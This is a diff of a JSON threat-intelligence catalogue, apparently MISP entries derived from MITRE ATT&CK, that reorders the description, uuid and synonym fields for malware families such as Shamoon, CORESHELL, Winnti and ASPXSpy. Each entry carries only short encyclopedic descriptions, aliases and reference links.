+ "uuid": "8901ac23-6b50-410c-b0dd-d8174a86f9b3"
},
- "value": "Shamoon",
- "description": "Shamoon is malware that was first used by an Iranian group known as the \"Cutting Sword of Justice\" in 2012. The 2.0 version was seen in 2016 targeting Middle Eastern states.[[Citation: FireEye Shamoon Nov 2016]][[Citation: Palo Alto Shamoon Nov 2016]]\n\nAliases: Shamoon, Disttrack"
+ "value": "Shamoon"
},
{
+ "description": "4H RAT is malware that has been used by Putter Panda since at least 2007.[[Citation: CrowdStrike Putter Panda]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0065",
@@ -1069,10 +1069,10 @@
],
"uuid": "8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc"
},
- "value": "4H RAT",
- "description": "4H RAT is malware that has been used by Putter Panda since at least 2007.[[Citation: CrowdStrike Putter Panda]]"
+ "value": "4H RAT"
},
{
+ "description": "BOOTRASH is a Bootkit that targets Windows operating systems. It has been used by threat actors that target the financial sector.[[Citation: MTrends 2016]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0114",
@@ -1080,10 +1080,10 @@
],
"uuid": "da2ef4a9-7cbe-400a-a379-e2f230f28db3"
},
- "value": "BOOTRASH",
- "description": "BOOTRASH is a Bootkit that targets Windows operating systems. It has been used by threat actors that target the financial sector.[[Citation: MTrends 2016]]"
+ "value": "BOOTRASH"
},
{
+ "description": "China Chopper is a Threat Group-3390.[[Citation: Dell TG-3390]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0020",
@@ -1092,10 +1092,10 @@
],
"uuid": "5a3a31fe-5a8f-48e1-bff0-a753e5b1be70"
},
- "value": "China Chopper",
- "description": "China Chopper is a Threat Group-3390.[[Citation: Dell TG-3390]]"
+ "value": "China Chopper"
},
{
+ "description": "Wiper is a family of destructive malware used in March 2013 during breaches of South Korean banks and media companies.[[Citation: Dell Wiper]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0041",
@@ -1103,10 +1103,10 @@
],
"uuid": "a19c49aa-36fe-4c05-b817-23e1c7a7d085"
},
- "value": "Wiper",
- "description": "Wiper is a family of destructive malware used in March 2013 during breaches of South Korean banks and media companies.[[Citation: Dell Wiper]]"
+ "value": "Wiper"
},
{
+ "description": "Unknown Logger is a publicly released, free backdoor. Version 1.5 of the backdoor has been used by the actors responsible for the MONSOON campaign.[[Citation: Forcepoint Monsoon]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0130",
@@ -1114,10 +1114,10 @@
],
"uuid": "ab3580c8-8435-4117-aace-3d9fbe46aa56"
},
- "value": "Unknown Logger",
- "description": "Unknown Logger is a publicly released, free backdoor. Version 1.5 of the backdoor has been used by the actors responsible for the MONSOON campaign.[[Citation: Forcepoint Monsoon]]"
+ "value": "Unknown Logger"
},
{
+ "description": "gh0st is a remote access tool (RAT). The source code is public and it has been used by many groups.[[Citation: FireEye Hacking Team]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0032",
@@ -1125,42 +1125,42 @@
],
"uuid": "88c621a7-aef9-4ae0-94e3-1fc87123eb24"
},
- "value": "gh0st",
- "description": "gh0st is a remote access tool (RAT). The source code is public and it has been used by many groups.[[Citation: FireEye Hacking Team]]"
+ "value": "gh0st"
},
{
+ "description": "CORESHELL is a downloader used by APT28. The older versions of this malware are known as SOURFACE and newer versions as CORESHELL. It has also been referred to as Sofacy, though that term has been used widely to refer to both the group APT28 and malware families associated with the group.[[Citation: FireEye APT28]][[Citation: FireEye APT28 January 2017]]\n\nAliases: CORESHELL, SOURFACE",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0137",
"https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf",
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
],
- "uuid": "60c18d06-7b91-4742-bae3-647845cd9d81",
"synonyms": [
"CORESHELL",
"SOURFACE"
- ]
+ ],
+ "uuid": "60c18d06-7b91-4742-bae3-647845cd9d81"
},
- "value": "CORESHELL",
- "description": "CORESHELL is a downloader used by APT28. The older versions of this malware are known as SOURFACE and newer versions as CORESHELL. It has also been referred to as Sofacy, though that term has been used widely to refer to both the group APT28 and malware families associated with the group.[[Citation: FireEye APT28]][[Citation: FireEye APT28 January 2017]]\n\nAliases: CORESHELL, SOURFACE"
+ "value": "CORESHELL"
},
{
+ "description": "Remsec is a modular backdoor that has been used by Strider and appears to have been designed primarily for espionage purposes. Many of its modules are written in Lua.[[Citation: Symantec Strider Blog]]\n\nAliases: Remsec, Backdoor.Remsec, ProjectSauron",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0125",
"http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
],
- "uuid": "69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
"synonyms": [
"Remsec",
"Backdoor.Remsec",
"ProjectSauron"
- ]
+ ],
+ "uuid": "69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8"
},
- "value": "Remsec",
- "description": "Remsec is a modular backdoor that has been used by Strider and appears to have been designed primarily for espionage purposes. Many of its modules are written in Lua.[[Citation: Symantec Strider Blog]]\n\nAliases: Remsec, Backdoor.Remsec, ProjectSauron"
+ "value": "Remsec"
},
{
+ "description": "FLASHFLOOD is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.[[Citation: FireEye APT30]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0036",
@@ -1168,10 +1168,10 @@
],
"uuid": "43213480-78f7-4fb3-976f-d48f5f6a4c2a"
},
- "value": "FLASHFLOOD",
- "description": "FLASHFLOOD is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.[[Citation: FireEye APT30]]"
+ "value": "FLASHFLOOD"
},
{
+ "description": "TINYTYPHON is a backdoor that has been used by the actors responsible for the MONSOON campaign. The majority of its code was reportedly taken from the MyDoom worm.[[Citation: Forcepoint Monsoon]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0131",
@@ -1179,26 +1179,26 @@
],
"uuid": "85b39628-204a-48d2-b377-ec368cbcb7ca"
},
- "value": "TINYTYPHON",
- "description": "TINYTYPHON is a backdoor that has been used by the actors responsible for the MONSOON campaign. The majority of its code was reportedly taken from the MyDoom worm.[[Citation: Forcepoint Monsoon]]"
+ "value": "TINYTYPHON"
},
{
+ "description": "SeaDuke is malware that was used by APT29 from 2014 to 2015. It was used primarily as a secondary backdoor for victims that were already compromised with CozyCar.[[Citation: F-Secure The Dukes]]\n\nAliases: SeaDuke, SeaDaddy, SeaDesk",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0053",
"https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf"
],
- "uuid": "67e6d66b-1b82-4699-b47a-e2efb6268d14",
"synonyms": [
"SeaDuke",
"SeaDaddy",
"SeaDesk"
- ]
+ ],
+ "uuid": "67e6d66b-1b82-4699-b47a-e2efb6268d14"
},
- "value": "SeaDuke",
- "description": "SeaDuke is malware that was used by APT29 from 2014 to 2015. It was used primarily as a secondary backdoor for victims that were already compromised with CozyCar.[[Citation: F-Secure The Dukes]]\n\nAliases: SeaDuke, SeaDaddy, SeaDesk"
+ "value": "SeaDuke"
},
{
+ "description": "is an OS X trojan that relied on a valid developer ID and oblivious users to install it.[[Citation: Janicab]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0163",
@@ -1206,29 +1206,29 @@
],
"uuid": "4af4e96f-c92d-4a45-9958-a88ad8deb38d"
},
- "value": "Janicab",
- "description": "is an OS X trojan that relied on a valid developer ID and oblivious users to install it.[[Citation: Janicab]]"
+ "value": "Janicab"
},
{
+ "description": "ADVSTORESHELL is a spying backdoor that has been used by APT28 from at least 2012 to 2016. It is generally used for long-term espionage and is deployed on targets deemed interesting after a reconnaissance phase.[[Citation: Kaspersky Sofacy]][[Citation: ESET Sednit Part 2]]\n\nAliases: ADVSTORESHELL, NETUI, EVILTOSS, AZZY, Sedreco",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0045",
"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf",
"https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
],
- "uuid": "fb575479-14ef-41e9-bfab-0b7cf10bec73",
"synonyms": [
"ADVSTORESHELL",
"NETUI",
"EVILTOSS",
"AZZY",
"Sedreco"
- ]
+ ],
+ "uuid": "fb575479-14ef-41e9-bfab-0b7cf10bec73"
},
- "value": "ADVSTORESHELL",
- "description": "ADVSTORESHELL is a spying backdoor that has been used by APT28 from at least 2012 to 2016. It is generally used for long-term espionage and is deployed on targets deemed interesting after a reconnaissance phase.[[Citation: Kaspersky Sofacy]][[Citation: ESET Sednit Part 2]]\n\nAliases: ADVSTORESHELL, NETUI, EVILTOSS, AZZY, Sedreco"
+ "value": "ADVSTORESHELL"
},
{
+ "description": "S-Type is a backdoor that was used by Dust Storm from 2013 to 2014.[[Citation: Cylance Dust Storm]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0085",
@@ -1236,10 +1236,10 @@
],
"uuid": "66b1dcde-17a0-4c7b-95fa-b08d430c2131"
},
- "value": "S-Type",
- "description": "S-Type is a backdoor that was used by Dust Storm from 2013 to 2014.[[Citation: Cylance Dust Storm]]"
+ "value": "S-Type"
},
{
+ "description": "NetTraveler is malware that has been used in multiple cyber espionage campaigns for basic surveillance of victims. The earliest known samples have timestamps back to 2005, and the largest number of observed samples were created between 2010 and 2013.[[Citation: Kaspersky NetTraveler]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0033",
@@ -1247,10 +1247,10 @@
],
"uuid": "cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e"
},
- "value": "NetTraveler",
- "description": "NetTraveler is malware that has been used in multiple cyber espionage campaigns for basic surveillance of victims. The earliest known samples have timestamps back to 2005, and the largest number of observed samples were created between 2010 and 2013.[[Citation: Kaspersky NetTraveler]]"
+ "value": "NetTraveler"
},
{
+ "description": "Dyre is a Trojan that usually targets banking information.[[Citation: Raff 2015]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0024",
@@ -1258,26 +1258,26 @@
],
"uuid": "63c2a130-8a5b-452f-ad96-07cf0af12ffe"
},
- "value": "Dyre",
- "description": "Dyre is a Trojan that usually targets banking information.[[Citation: Raff 2015]]"
+ "value": "Dyre"
},
{
+ "description": "P2P ZeuS is a closed-source fork of the leaked version of the ZeuS botnet. It presents improvements over the leaked version, including a peer-to-peer architecture.[[Citation: Dell P2P ZeuS]]\n\nAliases: P2P ZeuS, Peer-to-Peer ZeuS, Gameover ZeuS",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0016",
"http://www.secureworks.com/cyber-threat-intelligence/threats/The%20Lifecycle%20of%20Peer%20to%20Peer%20Gameover%20ZeuS/"
],
- "uuid": "b2c5d3ca-b43a-4888-ad8d-e2d43497bf85",
"synonyms": [
"P2P ZeuS",
"Peer-to-Peer ZeuS",
"Gameover ZeuS"
- ]
+ ],
+ "uuid": "b2c5d3ca-b43a-4888-ad8d-e2d43497bf85"
},
- "value": "P2P ZeuS",
- "description": "P2P ZeuS is a closed-source fork of the leaked version of the ZeuS botnet. It presents improvements over the leaked version, including a peer-to-peer architecture.[[Citation: Dell P2P ZeuS]]\n\nAliases: P2P ZeuS, Peer-to-Peer ZeuS, Gameover ZeuS"
+ "value": "P2P ZeuS"
},
{
+ "description": "ComRAT is a remote access tool suspected of being a decedent of Agent.btz and used by Turla.[[Citation: Symantec Waterbug]][[Citation: NorthSec 2015 GData Uroburos Tools]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0126",
@@ -1286,10 +1286,10 @@
],
"uuid": "da5880b4-f7da-4869-85f2-e0aba84b8565"
},
- "value": "ComRAT",
- "description": "ComRAT is a remote access tool suspected of being a decedent of Agent.btz and used by Turla.[[Citation: Symantec Waterbug]][[Citation: NorthSec 2015 GData Uroburos Tools]]"
+ "value": "ComRAT"
},
{
+ "description": "Winnti is a Trojan that has been used by multiple groups to carry out intrusions in varied regions from at least 2010 to 2016. One of the groups using this malware is referred to by the same name, Winnti Group; however, reporting indicates a second distinct group, Axiom, also uses the malware.[[Citation: Kaspersky Winnti April 2013]][[Citation: Microsoft Winnti Jan 2017]][[Citation: Novetta Winnti April 2015]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0141",
@@ -1299,26 +1299,26 @@
],
"uuid": "d3afa961-a80c-4043-9509-282cdf69ab21"
},
- "value": "Winnti",
- "description": "Winnti is a Trojan that has been used by multiple groups to carry out intrusions in varied regions from at least 2010 to 2016. One of the groups using this malware is referred to by the same name, Winnti Group; however, reporting indicates a second distinct group, Axiom, also uses the malware.[[Citation: Kaspersky Winnti April 2013]][[Citation: Microsoft Winnti Jan 2017]][[Citation: Novetta Winnti April 2015]]"
+ "value": "Winnti"
},
{
+ "description": "RedLeaves is a malware family used by menuPass. The code overlaps with PlugX and may be based upon the open source tool Trochilus.[[Citation: PWC Cloud Hopper Technical Annex April 2017]][[Citation: FireEye APT10 April 2017]]\n\nAliases: RedLeaves, BUGJUICE",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0153",
"https://www.fireeye.com/blog/threat-research/2017/04/apt10%20menupass%20grou.html",
"https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
],
- "uuid": "3df08e23-1d0b-41ed-b735-c4eca46ce48e",
"synonyms": [
"RedLeaves",
"BUGJUICE"
- ]
+ ],
+ "uuid": "3df08e23-1d0b-41ed-b735-c4eca46ce48e"
},
- "value": "RedLeaves",
- "description": "RedLeaves is a malware family used by menuPass. The code overlaps with PlugX and may be based upon the open source tool Trochilus.[[Citation: PWC Cloud Hopper Technical Annex April 2017]][[Citation: FireEye APT10 April 2017]]\n\nAliases: RedLeaves, BUGJUICE"
+ "value": "RedLeaves"
},
{
+ "description": "RTM is custom malware written in Delphi. It is used by the group of the same name (RTM).[[Citation: ESET RTM Feb 2017]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0148",
@@ -1326,10 +1326,10 @@
],
"uuid": "92ec0cbd-2c30-44a2-b270-73f4ec949841"
},
- "value": "RTM",
- "description": "RTM is custom malware written in Delphi. It is used by the group of the same name (RTM).[[Citation: ESET RTM Feb 2017]]"
+ "value": "RTM"
},
{
+ "description": "CallMe is a Trojan designed to run on Apple OSX. It is based on a publicly available tool called Tiny SHell.[[Citation: Scarlet Mimic Jan 2016]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0077",
@@ -1337,10 +1337,10 @@
],
"uuid": "cb7bcf6f-085f-41db-81ee-4b68481661b5"
},
- "value": "CallMe",
- "description": "CallMe is a Trojan designed to run on Apple OSX. It is based on a publicly available tool called Tiny SHell.[[Citation: Scarlet Mimic Jan 2016]]"
+ "value": "CallMe"
},
{
+ "description": "HIDEDRV is a rootkit used by APT28. It has been deployed along with Downdelph to execute and hide that malware.[[Citation: ESET Sednit Part 3]][[Citation: Sekoia HideDRV Oct 2016]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0135",
@@ -1349,10 +1349,10 @@
],
"uuid": "e669bb87-f773-4c7b-bfcc-a9ffebfdd8d4"
},
- "value": "HIDEDRV",
- "description": "HIDEDRV is a rootkit used by APT28. It has been deployed along with Downdelph to execute and hide that malware.[[Citation: ESET Sednit Part 3]][[Citation: Sekoia HideDRV Oct 2016]]"
+ "value": "HIDEDRV"
},
{
+ "description": "Mis-Type is a backdoor hybrid that was used by Dust Storm in 2012.[[Citation: Cylance Dust Storm]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0084",
@@ -1360,10 +1360,10 @@
],
"uuid": "e1161124-f22e-487f-9d5f-ed8efc8dcd61"
},
- "value": "Mis-Type",
- "description": "Mis-Type is a backdoor hybrid that was used by Dust Storm in 2012.[[Citation: Cylance Dust Storm]]"
+ "value": "Mis-Type"
},
{
+ "description": "Hikit is malware that has been used by Axiom for late-stage [[persistence]] and [[exfiltration]] after the initial compromise.[[Citation: Axiom]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0009",
@@ -1371,10 +1371,10 @@
],
"uuid": "95047f03-4811-4300-922e-1ba937d53a61"
},
- "value": "Hikit",
- "description": "Hikit is malware that has been used by Axiom for late-stage [[persistence]] and [[exfiltration]] after the initial compromise.[[Citation: Axiom]]"
+ "value": "Hikit"
},
{
+ "description": "EvilGrab is a malware family with common reconnaissance capabilities. It has been deployed by menuPass via malicious Microsoft Office documents as part of spearphishing campaigns.[[Citation: PWC Cloud Hopper Technical Annex April 2017]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0152",
@@ -1382,25 +1382,25 @@
],
"uuid": "c542f369-f06d-4168-8c84-fdf5fc7f2a8d"
},
- "value": "EvilGrab",
- "description": "EvilGrab is a malware family with common reconnaissance capabilities. It has been deployed by menuPass via malicious Microsoft Office documents as part of spearphishing campaigns.[[Citation: PWC Cloud Hopper Technical Annex April 2017]]"
+ "value": "EvilGrab"
},
{
+ "description": "ASPXSpy is a Web shell. It has been modified by Threat Group-3390 actors to create the ASPXTool version.[[Citation: Dell TG-3390]]\n\nAliases: ASPXSpy, ASPXTool",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0073",
"http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/"
],
- "uuid": "56f46b17-8cfa-46c0-b501-dd52fef394e2",
"synonyms": [
"ASPXSpy",
"ASPXTool"
- ]
+ ],
+ "uuid": "56f46b17-8cfa-46c0-b501-dd52fef394e2"
},
- "value": "ASPXSpy",
- "description": "ASPXSpy is a Web shell. It has been modified by Threat Group-3390 actors to create the ASPXTool version.[[Citation: Dell TG-3390]]\n\nAliases: ASPXSpy, ASPXTool"
+ "value": "ASPXSpy"
},
{
+ "description": "Sykipot is malware that has been used in spearphishing campaigns since approximately 2007 against victims primarily in the US. One variant of Sykipot hijacks smart cards on victims.[[Citation: Alienvault Sykipot DOD Smart Cards]] The group using this malware has also been referred to as Sykipot.[[Citation: Blasco 2013]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0018",
@@ -1409,25 +1409,25 @@
],
"uuid": "6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9"
},
- "value": "Sykipot",
- "description": "Sykipot is malware that has been used in spearphishing campaigns since approximately 2007 against victims primarily in the US. One variant of Sykipot hijacks smart cards on victims.[[Citation: Alienvault Sykipot DOD Smart Cards]] The group using this malware has also been referred to as Sykipot.[[Citation: Blasco 2013]]"
+ "value": "Sykipot"
},
{
+ "description": "GLOOXMAIL is malware used by APT1 that mimics legitimate Jabber/XMPP traffic.[[Citation: Mandiant APT1]]\n\nAliases: GLOOXMAIL, Trojan.GTALK",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0026",
"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
],
- "uuid": "f2e8c7a1-cae1-45c4-baf0-6f21bdcbb2c2",
"synonyms": [
"GLOOXMAIL",
"Trojan.GTALK"
- ]
+ ],
+ "uuid": "f2e8c7a1-cae1-45c4-baf0-6f21bdcbb2c2"
},
- "value": "GLOOXMAIL",
- "description": "GLOOXMAIL is malware used by APT1 that mimics legitimate Jabber/XMPP traffic.[[Citation: Mandiant APT1]]\n\nAliases: GLOOXMAIL, Trojan.GTALK"
+ "value": "GLOOXMAIL"
},
{
+ "description": "Emissary is a Trojan that has been used by Lotus Blossom. It shares code with Elise, with both Trojans being part of a malware group referred to as LStudio.[[Citation: Lotus Blossom Dec 2015]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0082",
@@ -1435,26 +1435,26 @@
],
"uuid": "0f862b01-99da-47cc-9bdb-db4a86a95bb1"
},
- "value": "Emissary",
- "description": "Emissary is a Trojan that has been used by Lotus Blossom. It shares code with Elise, with both Trojans being part of a malware group referred to as LStudio.[[Citation: Lotus Blossom Dec 2015]]"
+ "value": "Emissary"
},
{
+ "description": "Miner-C is malware that mines victims for the Monero cryptocurrency. It has targeted FTP servers and Network Attached Storage (NAS) devices to spread.[[Citation: Softpedia MinerC]]\n\nAliases: Miner-C, Mal/Miner-C, PhotoMiner",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0133",
"http://news.softpedia.com/news/cryptocurrency-mining-malware-discovered-targeting-seagate-nas-hard-drives-508119.shtml"
],
- "uuid": "17dec760-9c8f-4f1b-9b4b-0ac47a453234",
"synonyms": [
"Miner-C",
"Mal/Miner-C",
"PhotoMiner"
- ]
+ ],
+ "uuid": "17dec760-9c8f-4f1b-9b4b-0ac47a453234"
},
- "value": "Miner-C",
- "description": "Miner-C is malware that mines victims for the Monero cryptocurrency. It has targeted FTP servers and Network Attached Storage (NAS) devices to spread.[[Citation: Softpedia MinerC]]\n\nAliases: Miner-C, Mal/Miner-C, PhotoMiner"
+ "value": "Miner-C"
},
{
+ "description": "KOMPROGO is a signature backdoor used by APT32 that is capable of process, file, and registry management.[[Citation: FireEye APT32 May 2017]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0156",
@@ -1462,40 +1462,40 @@
],
"uuid": "321e2bd3-2d98-41d6-8402-3949f514c548"
},
- "value": "KOMPROGO",
- "description": "KOMPROGO is a signature backdoor used by APT32 that is capable of process, file, and registry management.[[Citation: FireEye APT32 May 2017]]"
+ "value": "KOMPROGO"
},
{
+ "description": "DustySky is multi-stage malware written in .NET that has been used by Molerats since May 2015.[[Citation: DustySky]][[Citation: DustySky2]]\n\nAliases: DustySky, NeD Worm",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0062",
"http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2%20-6.2016%20TLP%20White.pdf"
],
- "uuid": "687c23e4-4e25-4ee7-a870-c5e002511f54",
"synonyms": [
"DustySky",
"NeD Worm"
- ]
+ ],
+ "uuid": "687c23e4-4e25-4ee7-a870-c5e002511f54"
},
- "value": "DustySky",
- "description": "DustySky is multi-stage malware written in .NET that has been used by Molerats since May 2015.[[Citation: DustySky]][[Citation: DustySky2]]\n\nAliases: DustySky, NeD Worm"
+ "value": "DustySky"
},
{
+ "description": "BUBBLEWRAP is a full-featured, second-stage backdoor used by the admin@338 group. It is set to run when the system boots and includes functionality to check, upload, and register plug-ins that can further enhance its capabilities.[[Citation: FireEye admin@338]]\n\nAliases: BUBBLEWRAP, Backdoor.APT.FakeWinHTTPHelper",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0043",
"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html"
],
- "uuid": "123bd7b3-675c-4b1a-8482-c55782b20e2b",
"synonyms": [
"BUBBLEWRAP",
"Backdoor.APT.FakeWinHTTPHelper"
- ]
+ ],
+ "uuid": "123bd7b3-675c-4b1a-8482-c55782b20e2b"
},
- "value": "BUBBLEWRAP",
- "description": "BUBBLEWRAP is a full-featured, second-stage backdoor used by the admin@338 group. It is set to run when the system boots and includes functionality to check, upload, and register plug-ins that can further enhance its capabilities.[[Citation: FireEye admin@338]]\n\nAliases: BUBBLEWRAP, Backdoor.APT.FakeWinHTTPHelper"
+ "value": "BUBBLEWRAP"
},
{
+ "description": "pngdowner is malware used by Putter Panda. It is a simple tool with limited functionality and no persistence mechanism, suggesting it is used only as a simple \"download-and-\nexecute\" utility.[[Citation: CrowdStrike Putter Panda]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0067",
@@ -1503,10 +1503,10 @@
],
"uuid": "800bdfba-6d66-480f-9f45-15845c05cb5d"
},
- "value": "pngdowner",
- "description": "pngdowner is malware used by Putter Panda. It is a simple tool with limited functionality and no persistence mechanism, suggesting it is used only as a simple \"download-and-\nexecute\" utility.[[Citation: CrowdStrike Putter Panda]]"
+ "value": "pngdowner"
},
{
+ "description": "SslMM is a full-featured backdoor used by Naikon that has multiple variants.[[Citation: Baumgartner Naikon 2015]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0058",
@@ -1514,25 +1514,25 @@
],
"uuid": "2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421"
},
- "value": "SslMM",
- "description": "SslMM is a full-featured backdoor used by Naikon that has multiple variants.[[Citation: Baumgartner Naikon 2015]]"
+ "value": "SslMM"
},
{
+ "description": "Nidiran is a custom backdoor developed and used by Suckfly. It has been delivered via strategic web compromise.[[Citation: Symantec Suckfly March 2016]]\n\nAliases: Nidiran, Backdoor.Nidiran",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0118",
"http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates"
],
- "uuid": "9e9b9415-a7df-406b-b14d-92bfe6809fbe",
"synonyms": [
"Nidiran",
"Backdoor.Nidiran"
- ]
+ ],
+ "uuid": "9e9b9415-a7df-406b-b14d-92bfe6809fbe"
},
- "value": "Nidiran",
- "description": "Nidiran is a custom backdoor developed and used by Suckfly. It has been delivered via strategic web compromise.[[Citation: Symantec Suckfly March 2016]]\n\nAliases: Nidiran, Backdoor.Nidiran"
+ "value": "Nidiran"
},
{
+ "description": "Trojan.Mebromi is BIOS-level malware that takes control of the victim before MBR.[[Citation: Ge 2011]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0001",
@@ -1540,10 +1540,10 @@
],
"uuid": "c5e9cb46-aced-466c-85ea-7db5572ad9ec"
},
- "value": "Trojan.Mebromi",
- "description": "Trojan.Mebromi is BIOS-level malware that takes control of the victim before MBR.[[Citation: Ge 2011]]"
+ "value": "Trojan.Mebromi"
},
{
+ "description": "OwaAuth is a Web shell and credential stealer deployed to Microsoft Exchange servers that appears to be exclusively used by Threat Group-3390.[[Citation: Dell TG-3390]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0072",
@@ -1551,10 +1551,10 @@
],
"uuid": "a60657fa-e2e7-4f8f-8128-a882534ae8c5"
},
- "value": "OwaAuth",
- "description": "OwaAuth is a Web shell and credential stealer deployed to Microsoft Exchange servers that appears to be exclusively used by Threat Group-3390.[[Citation: Dell TG-3390]]"
+ "value": "OwaAuth"
},
{
+ "description": "ROCKBOOT is a Bootkit that has been used by an unidentified, suspected China-based group.[[Citation: FireEye Bootkits]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0112",
@@ -1562,10 +1562,10 @@
],
"uuid": "cba78a1c-186f-4112-9e6a-be1839f030f7"
},
- "value": "ROCKBOOT",
- "description": "ROCKBOOT is a Bootkit that has been used by an unidentified, suspected China-based group.[[Citation: FireEye Bootkits]]"
+ "value": "ROCKBOOT"
},
{
+ "description": "SNUGRIDE is a backdoor that has been used by menuPass as first stage malware.[[Citation: FireEye APT10 April 2017]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0159",
@@ -1573,10 +1573,10 @@
],
"uuid": "12b524b9-0d94-400f-904f-615f4f764aaf"
},
- "value": "SNUGRIDE",
- "description": "SNUGRIDE is a backdoor that has been used by menuPass as first stage malware.[[Citation: FireEye APT10 April 2017]]"
+ "value": "SNUGRIDE"
},
{
+ "description": "OnionDuke is malware that was used by APT29 from 2013 to 2015.[[Citation: F-Secure The Dukes]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0052",
@@ -1584,10 +1584,10 @@
],
"uuid": "b136d088-a829-432c-ac26-5529c26d4c7e"
},
- "value": "OnionDuke",
- "description": "OnionDuke is malware that was used by APT29 from 2013 to 2015.[[Citation: F-Secure The Dukes]]"
+ "value": "OnionDuke"
},
{
+ "description": "LOWBALL is malware used by admin@338. It was used in August 2015 in email messages targeting Hong Kong-based media organizations.[[Citation: FireEye admin@338]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0042",
@@ -1595,10 +1595,10 @@
],
"uuid": "2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b"
},
- "value": "LOWBALL",
- "description": "LOWBALL is malware used by admin@338. It was used in August 2015 in email messages targeting Hong Kong-based media organizations.[[Citation: FireEye admin@338]]"
+ "value": "LOWBALL"
},
{
+ "description": "BLACKCOFFEE is malware that has been used by APT17 since at least 2013.[[Citation: FireEye APT17]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0069",
@@ -1606,10 +1606,10 @@
],
"uuid": "d69c8146-ab35-4d50-8382-6fc80e641d43"
},
- "value": "BLACKCOFFEE",
- "description": "BLACKCOFFEE is malware that has been used by APT17 since at least 2013.[[Citation: FireEye APT17]]"
+ "value": "BLACKCOFFEE"
},
{
+ "description": "Derusbi is malware used by multiple Chinese APT groups.[[Citation: Axiom]][[Citation: ThreatConnect Anthem]] Both Windows and Linux variants have been observed.[[Citation: Fidelis Turbo]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0021",
@@ -1619,44 +1619,44 @@
],
"uuid": "94379dec-5c87-49db-b36e-66abc0b81344"
},
- "value": "Derusbi",
- "description": "Derusbi is malware used by multiple Chinese APT groups.[[Citation: Axiom]][[Citation: ThreatConnect Anthem]] Both Windows and Linux variants have been observed.[[Citation: Fidelis Turbo]]"
+ "value": "Derusbi"
},
{
+ "description": "Epic is a backdoor that has been used by Turla.[[Citation: Kaspersky Turla]]\n\nAliases: Epic, Tavdig, Wipbot, WorldCupSec, TadjMakhal",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0091",
